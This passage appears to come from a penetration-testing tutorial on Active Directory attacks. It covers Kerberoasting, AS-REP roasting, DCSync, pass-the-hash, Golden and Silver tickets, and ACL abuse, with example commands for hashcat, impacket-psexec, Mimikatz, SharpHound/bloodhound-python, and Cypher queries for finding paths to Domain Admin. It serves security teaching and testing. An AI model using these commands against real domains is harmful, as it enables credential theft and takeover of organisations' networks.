Issued when you log in. Encrypted with the krbtgt account's hash (only the KDC can read it). Valid for 10 hours by default. Stored in your Windows session as a LSASS process memory credential. If an attacker extracts your TGT from LSASS memory with Mimikatz, they can use it until it expires - this is Pass-the-Ticket (PTT).
Service Ticket
A ticket for a specific service, encrypted with that service's account hash (NTLM hash of the service account password). The KDC hands it to you; you present it to the service. In Kerberoasting, you request service tickets for services running under domain accounts and crack the ticket offline because it is encrypted with the service account password.
AS-REP Roasting
Some user accounts have pre-authentication disabled (a misconfiguration). For these accounts, the AS-REP message from the KDC contains data encrypted with the user's password hash - and you can request an AS-REP for any user without needing to prove your identity first. The encrypted blob can be cracked offline with hashcat mode 18200.
Golden Ticket
If you obtain the NTLM hash of the krbtgt account (by running DCSync or dumping LSASS on a DC), you can forge a TGT for any user including Domain Admin. This forged TGT is called a Golden Ticket. It is valid for 10 years by default and persists even after password resets - until the krbtgt password is rotated twice.

From Foothold to Domain Admin

After you gain initial access to one machine in an AD domain, the goal is to escalate to Domain Admin. This typically requires lateral movement (moving from machine to machine) and privilege escalation within the domain. The following attacks are the most commonly exploited paths in real engagements.

Kerberoasting
Any authenticated domain user can request a service ticket for any service with a Service Principal Name (SPN). The ticket is encrypted with the service account's password hash. Request tickets for all SPNs, extract them, and crack offline with hashcat. Service accounts often have weak passwords set by administrators years ago. Mode: hashcat -m 13100.
AS-REP Roasting
Find accounts with Kerberos pre-auth disabled using: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True}. Request their AS-REP and crack the hash offline. No domain credentials needed for the request - you just need network access to the KDC on port 88. Mode: hashcat -m 18200.
DCSync
The DS-Replication-Get-Changes-All right normally allows DCs to replicate the AD database between each other. If your compromised account has this right (common for Domain Admins and certain admin groups), you can use Mimikatz's lsadump::dcsync to request any user's password hash from the DC - including krbtgt - without touching LSASS.
Pass-the-Hash (PtH)
NTLM authentication uses the hash of a password, not the plaintext password. If you capture or dump an NTLM hash, you can authenticate as that user without knowing the plaintext. Tool: impacket-psexec administrator@target -hashes :NTLMHASH. Works for any service using NTLM authentication.
ACL Abuse
AD objects have Access Control Lists defining who can do what to them. Common misconfigurations: GenericAll (full control), GenericWrite (modify attributes), WriteDACL (modify permissions), WriteOwner (change owner). If your user has GenericAll over another user, you can reset that user's password and take over their account.
Silver Ticket
Forge a service ticket using only the service account's NTLM hash (no krbtgt needed). Unlike Golden Tickets, Silver Tickets only work for that specific service. Useful for persistent access to a specific service (MSSQL, IIS, file shares) without touching the KDC. No KDC logging because the forged ticket is presented directly to the service.

Attack Path Graphs from AD Data

BloodHound is a tool that maps Active Directory relationships into a graph database and visualizes attack paths to privileged accounts. It uses SharpHound (a C# collector) to gather AD data, then stores it in Neo4j. You query the graph to find the shortest path from your compromised user to Domain Admin.

Collecting Data
Run SharpHound on any domain-joined machine with any domain account. It queries LDAP and SMB to collect users, computers, groups, sessions, and ACLs. Output is ZIP files of JSON. Import into BloodHound's Neo4j database. Full collection: SharpHound.exe -c All. Can also collect with Python: bloodhound-python -d corp.com -u user -p pass -ns DC_IP -c All.
Pre-Built Queries
BloodHound's Analysis tab has built-in queries. "Shortest Paths to Domain Admins" is your first click. "Find all Domain Admins" shows who has DA now. "Find Kerberoastable Users" lists all accounts with SPNs. "Find Principals with DCSync Rights" shows who can dump all hashes. "Shortest Path from Owned Principals" starts from your foothold.
Reading the Graph
Nodes are objects (users are circles, computers are screens, groups are triangles). Edges are relationships. Edge labels show the relationship type: MemberOf, AdminTo, HasSession, GenericAll, WriteDACL. A path from your user node to the Domain Admins group node with all labeled edges is your attack path - each edge is an action you need to take.
Marking Owned Nodes
Right-click any node and "Mark User as Owned" to track your foothold. Then run "Shortest Paths from Owned Principals to Domain Admins" to see exactly which steps connect your compromised account to full domain control. As you compromise more accounts, mark them owned and rerun the query to discover newly reachable paths.
# Collect AD data with Python BloodHound collector (from Kali, on domain)
bloodhound-python -d corp.local -u jsmith -p 'Password1!' \
  -ns 192.168.1.10 -c All --zip

# Start Neo4j (BloodHound's graph database)
neo4j start

# Open BloodHound and import the zip file
bloodhound &

# Useful Cypher queries in the BloodHound raw query box:
# Find all users with GenericAll over a Domain Admin
MATCH p=shortestPath((u:User)-[r:GenericAll|GenericWrite|WriteDACL|WriteOwner|Owns*1..]->(g:Group {name:"DOMAIN [email protected]"})) RETURN p

# Find computers where Domain Admins have sessions (lateral movement targets)
MATCH (u:User)-[:HasSession]->(c:Computer) WHERE u.admincount=true RETURN u,c